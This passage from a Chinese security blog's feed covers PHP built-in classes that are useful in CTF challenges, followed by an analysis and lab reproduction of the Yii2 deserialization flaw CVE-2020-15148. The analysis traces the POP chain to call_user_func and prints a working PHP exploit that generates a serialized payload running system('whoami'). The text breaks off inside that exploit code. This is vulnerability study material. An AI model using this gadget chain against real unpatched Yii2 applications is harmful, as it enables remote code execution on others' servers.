class="token punctuation">:</span> <span class="token keyword return-type">array</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">unchangeAll</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">unchangeArchive</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">unchangeIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">unchangeName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span><span class="token punctuation">&#125;</span></code></pre><p><strong>use</strong>：<code>ZipArchive::open ( string $filename [, int $flags ] ) : mixed</code></p><p><strong>flags</strong>：The mode to use to open the archive.</p><ul><li><strong><code>ZipArchive::OVERWRITE</code></strong>：总是以一个新的压缩包开始，此模式下如果已经存在则会被覆盖。</li><li><strong><code>ZipArchive::CREATE</code></strong>：如果不存在则创建一个zip压缩包。</li><li><strong><code>ZipArchive::RDONLY</code></strong>：只读模式打开压缩包。 <code>PHP&gt;7.4.3, PECL zip&gt;1.17.1</code></li><li><strong><code>ZipArchive::EXCL</code></strong>：如果压缩包已经存在，则出错。</li><li><strong><code>ZipArchive::CHECKCONS</code></strong>：对压缩包执行额外的一致性检查，如果失败则显示错误。</li></ul><p><strong>Demo</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ZipArchive</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$a</span><span class="token operator">-></span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'1.txt'</span><span class="token punctuation">,</span><span class="token class-name static-context">ZipArchive</span><span class="token operator">::</span><span class="token constant">OVERWRITE</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre><p>目录下的<code>1.txt</code>将会被删除</p><h3 id="Reflection"><a href="#Reflection" class="headerlink" title="Reflection"></a>Reflection</h3><p>注释读取</p><p><strong>range</strong>：<code>(PHP 5, PHP 7, PHP 8)</code></p><p>方法参考：<a href="https://www.php.net/manual/zh/book.reflection.php">https://www.php.net/manual/zh/book.reflection.php</a></p><p><strong>Example Class</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Apple</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token variable">$var1</span><span class="token punctuation">;</span>    <span class="token keyword">public</span> <span class="token variable">$var2</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'Orange'</span><span class="token punctuation">;</span>    <span class="token comment">/**     * This is DocComment     */</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">type</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token string single-quoted-string">'Apple'</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>利用php反射类来进行操作</p><p><code>ReflectionMethod</code>继承<code>ReflectionFunctionAbstract</code>这个抽象类，这个抽象类实现<code>Reflector</code>接口</p><p><code>ReflectionFunctionAbstract</code>中有一个<code>getDocComment</code>方法，用以获取函数的注释文本，注释文本需符合<code>/**</code>开头的规范否则无法识别</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token variable">$ref</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ReflectionMethod</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Apple"</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"type"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$ref</span><span class="token operator">-></span><span class="token function">getDocComment</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword type-declaration">string</span><span class="token punctuation">(</span><span class="token number">39</span><span class="token punctuation">)</span> <span class="token string double-quoted-string">"/**     * This is DocComment     */"</span></code></pre><p>同时这里还有一个<code>ReflectionFunction</code></p><p><code>[new ReflectionFunction(&#39;system&#39;),invokeArgs](array(&#39;aaa.txt&#39;=&gt;&#39;dir&#39;));</code>可执行函数调用</p><ul><li><code>invokeArgs(args)</code>：The passed arguments to the function as an array, much like <a href="https://www.php.net/manual/en/function.call-user-func-array.php">call_user_func_array()</a> works.</li></ul><h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h3><ul><li><a href="https://www.cnblogs.com/bmjoker/p/13742666.html">php反序列化从入门到放弃(入门篇)</a></li><li><a href="https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html">反序列化之PHP原生类的利用</a></li><li><a href="https://www.anquanke.com/post/id/238482">PHP 原生类在 CTF 中的利用</a></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;Class-Found&quot;&gt;&lt;a href=&quot;#Class-Found&quot; class=&quot;headerlink&quot; title=&quot;Class Found&quot;&gt;&lt;/a&gt;Class Found&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;php中含魔术方法的内置类&lt;/strong&gt;&lt;/p&gt;
      
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="php" scheme="https://www.extrader.top/tags/php/"/>
    
      <category term="ssrf" scheme="https://www.extrader.top/tags/ssrf/"/>
    
      <category term="反序列化" scheme="https://www.extrader.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
      <category term="xxe" scheme="https://www.extrader.top/tags/xxe/"/>
    
      <category term="xss" scheme="https://www.extrader.top/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Yii2反序列化漏洞(CVE-2020-15148)分析学习</title>
    <link href="https://www.extrader.top/posts/c79847ee/"/>
    <id>https://www.extrader.top/posts/c79847ee/</id>
    <published>2021-05-13T13:22:30.000Z</published>
    <updated>2022-03-26T05:48:51.023Z</updated>
    
    <content type="html"><![CDATA[<h3 id="Yii2介绍"><a href="#Yii2介绍" class="headerlink" title="Yii2介绍"></a>Yii2介绍</h3><p>Yii 是一个高性能，基于组件的 PHP 框架，用于快速开发现代 Web 应用程序。即可以用于开发各种用 PHP 构建的 Web 应用。因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等。</p><h3 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h3><ul><li>Yii2 &lt; 2.0.38</li></ul><p>2.0.38已修复，官方给<code>yii\db\BatchQueryResult</code>类加了一个<code>__wakeup()</code>函数，<code>__wakeup</code>方法在类被反序列化时会自动被调用，而这里这么写，目的就是在当BatchQueryResult类被反序列化时就直接报错，避免反序列化的发生，也就避免了漏洞。</p><ul><li><a href="https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99">https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99</a></li></ul><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210511165809784.png" alt loading="lazy"></p><h3 id="环境复现"><a href="#环境复现" class="headerlink" title="环境复现"></a>环境复现</h3><p>直接上<code>github</code>将app下载下来解压</p><ul><li><a href="https://github.com/yiisoft/yii2/releases/tag/2.0.37">https://github.com/yiisoft/yii2/releases/tag/2.0.37</a></li></ul><p>本地web环境使用<code>phpstudy</code>集成环境搭建，使用<code>phpstorm</code>进行<code>xdebug</code>调试</p><p>php version：7.4.3nts，Apache version：2.4.39</p><p>修改<code>config\web.php</code>中的<code>cookieValidationKey</code>为任意值，作为<code>yii\web\Request::cookieValidationKey</code>的加密值，不设置会报错</p><p>接着自己添加一个<code>controller</code>来进行漏洞的利用，创建一个action：<a href="http://url/index.php?r=test/test">http://url/index.php?r=test/test</a>, controllers的命名是： <code>名称Controller</code>，action的命名是： <code>action名称</code>，如下</p><p><code>controllers/TestController.php</code></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">namespace</span> <span class="token package">app<span class="token punctuation">\</span>controllers</span><span class="token punctuation">;</span><span class="token keyword">use</span> <span class="token package">yii<span class="token punctuation">\</span>web<span class="token punctuation">\</span>Controller</span><span class="token punctuation">;</span><span class="token keyword">class</span> <span class="token class-name-definition class-name">TestController</span> <span class="token keyword">extends</span> <span class="token class-name">Controller</span><span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">actionTest</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></span></code></pre><p>发包测试，环境搭建成功</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210511191942698.png" alt loading="lazy"></p><h3 id="CVE漏洞分析"><a href="#CVE漏洞分析" class="headerlink" title="CVE漏洞分析"></a>CVE漏洞分析</h3><h4 id="POP1"><a href="#POP1" class="headerlink" title="POP1"></a>POP1</h4><p>从<code>yii\db\BatchQueryResult</code>这个类入手，提起主要代码分析：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token comment">// make sure cursor is closed</span>    <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_dataReader</span> <span class="token operator">!==</span> <span class="token constant">null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_dataReader</span><span class="token operator">-></span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_dataReader</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>    <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_batch</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>    <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_value</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>    <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_key</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>可以看到，<code>__destruct</code>调用了<code>reset</code>方法<code>reset</code>调用了<code>close</code>方法，参数<code>_dataReader</code>可控，学习思路后知道这里可以通过触发<code>__call</code>方法来进行利用</p><ul><li><code>__call</code>：当一个对象在对象上下文中调用不可访问的方法时触发 </li></ul><p>当一个对象调用不可访问的<code>close</code>方法或者类中压根就没有<code>close</code>方法，即可触发<code>__call</code>，全局搜索<code>__call</code>方法</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210511200257237.png" alt loading="lazy"></p><p>找到其中一个<code>Faker/Generator.php</code>类，跟进查看代码</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__call</span><span class="token punctuation">(</span><span class="token variable">$method</span><span class="token punctuation">,</span> <span class="token variable">$attributes</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">format</span><span class="token punctuation">(</span><span class="token variable">$method</span><span class="token punctuation">,</span> <span class="token variable">$attributes</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">format</span><span class="token punctuation">(</span><span class="token variable">$formatter</span><span class="token punctuation">,</span> <span class="token variable">$arguments</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token function">getFormatter</span><span class="token punctuation">(</span><span class="token variable">$formatter</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token variable">$arguments</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFormatter</span><span class="token punctuation">(</span><span class="token variable">$formatter</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">formatters</span><span class="token punctuation">[</span><span class="token variable">$formatter</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">formatters</span><span class="token punctuation">[</span><span class="token variable">$formatter</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">providers</span> <span class="token keyword">as</span> <span class="token variable">$provider</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">method_exists</span><span class="token punctuation">(</span><span class="token variable">$provider</span><span class="token punctuation">,</span> <span class="token variable">$formatter</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">formatters</span><span class="token punctuation">[</span><span class="token variable">$formatter</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token variable">$provider</span><span class="token punctuation">,</span> <span class="token variable">$formatter</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">formatters</span><span class="token punctuation">[</span><span class="token variable">$formatter</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name class-name-fully-qualified"><span class="token punctuation">\</span>InvalidArgumentException</span><span class="token punctuation">(</span><span class="token function">sprintf</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'Unknown formatter "%s"'</span><span class="token punctuation">,</span> <span class="token variable">$formatter</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p><code>__call</code>方法调用了类中的<code>format</code>方法，<code>format</code>方法里的<code>call_user_func_array</code>里的参数调用了<code>getFormatter</code>方法</p><ul><li><p><code>call_user_func_array</code>：调用回调函数，并把一个数组参数作为回调函数的参数</p><p>大致使用方法如下</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">function</span> <span class="token function-definition function">foobar</span><span class="token punctuation">(</span><span class="token variable">$arg</span><span class="token punctuation">,</span> <span class="token variable">$arg2</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span> <span class="token constant">__FUNCTION__</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">" got <span class="token interpolation"><span class="token variable">$arg</span></span> and <span class="token interpolation"><span class="token variable">$arg2</span></span>\n"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">class</span> <span class="token class-name-definition class-name">foo</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">function</span> <span class="token function-definition function">bar</span><span class="token punctuation">(</span><span class="token variable">$arg</span><span class="token punctuation">,</span> <span class="token variable">$arg2</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">echo</span> <span class="token constant">__METHOD__</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">" got <span class="token interpolation"><span class="token variable">$arg</span></span> and <span class="token interpolation"><span class="token variable">$arg2</span></span>\n"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token comment">// Call the foobar() function with 2 arguments</span><span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"foobar"</span><span class="token punctuation">,</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"one"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"two"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Call the $foo->bar() method with 2 arguments</span><span class="token variable">$foo</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">foo</span><span class="token punctuation">;</span><span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token variable">$foo</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"bar"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"three"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"four"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre></li></ul><p><code>getFormatter</code>方法从<code>$this-&gt;$formatter</code>中取值，<code>$this-&gt;formatter</code>可控，所以这里可以调用任意类中的任意方法了。Debug如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210511203202841.png" alt loading="lazy"></p><p>但是<code>$arguments</code>是从<code>yii\db\BatchQueryResult::reset()</code>里传过来的，我们不可控，比如这里就为空，因为传来的<code>close</code>方法中参参数值，所以我们只能不带参数地去调用别的类中的方法。</p><p>到这一步就需要一个执行类，这时需要类中的方法需要满足两个条件</p><ol><li>方法所需的参数只能是其自己类中存在的（即参数：<code>$this-&gt;args</code>）</li><li>方法需要有命令执行功能</li></ol><p>通过全局查找正则匹配<code>call_user_func\(\$this-&gt;([a-zA-Z0-9]+), \$this-&gt;([a-zA-Z0-9]+)</code>来查找，结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210511203624162.png" alt loading="lazy"></p><ul><li><p><code>call_user_func</code>：把第一个参数作为回调函数调用,这里用<code>call_user_func</code>即可达到命令执行的效果也可以达到<code>RCE</code>的效果</p><p>大致使用方法如下</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token constant">E_ALL</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function-definition function">increment</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token variable">$var</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$var</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'increment'</span><span class="token punctuation">,</span> <span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$a</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">;</span><span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'increment'</span><span class="token punctuation">,</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// You can use this instead before PHP 5.3</span><span class="token keyword">echo</span> <span class="token variable">$a</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre></li></ul><p>其中有两个类中的<code>run</code>方法可用</p><ol><li><p><code>yii\rest\CreateAction::run()</code>，<code>$this-&gt;checkAccess, $this-&gt;id</code>两个参数可控</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span><span class="token punctuation">,</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">id</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token operator">...</span><span class="token operator">...</span>        <span class="token keyword">return</span> <span class="token variable">$model</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre></li><li><p><code>\yii\rest\IndexAction::run()</code>，<code>$this-&gt;checkAccess, $this-&gt;id</code>两个参数可控</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span><span class="token punctuation">,</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">id</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">prepareDataProvider</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre></li></ol><p>于是即可构造完整的<code>pop</code>链</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token class-name class-name-fully-qualified static-context">yii<span class="token punctuation">\</span>db<span class="token punctuation">\</span>BatchQueryResult</span><span class="token operator">::</span><span class="token function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">Faker<span class="token punctuation">\</span>Generator</span><span class="token operator">::</span><span class="token function">__call</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">format</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>yii<span class="token punctuation">\</span>rest<span class="token punctuation">\</span>IndexAction</span><span class="token operator">::</span><span class="token constant">run</span><span class="token operator">-></span><span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>Exp</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">namespace</span> <span class="token package">yii<span class="token punctuation">\</span>rest</span><span class="token punctuation">&#123;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">IndexAction</span><span class="token punctuation">&#123;</span>        <span class="token keyword">public</span> <span class="token variable">$checkAccess</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token variable">$id</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'system'</span><span class="token punctuation">;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">id</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'whoami'</span><span class="token punctuation">;</span>           <span class="token comment">//command</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Faker</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">yii<span class="token punctuation">\</span>rest<span class="token punctuation">\</span>IndexAction</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">Generator</span><span class="token punctuation">&#123;</span>        <span class="token keyword">protected</span> <span class="token variable">$formatters</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">formatters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'close'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">IndexAction</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'run'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">yii<span class="token punctuation">\</span>db</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Faker<span class="token punctuation">\</span>Generator</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">BatchQueryResult</span><span class="token punctuation">&#123;</span>        <span class="token keyword">private</span> <span class="token variable">$_dataReader</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_dataReader</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Generator</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name class-name-fully-qualified">yii<span class="token punctuation">\</span>db<span class="token punctuation">\</span>BatchQueryResult</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token 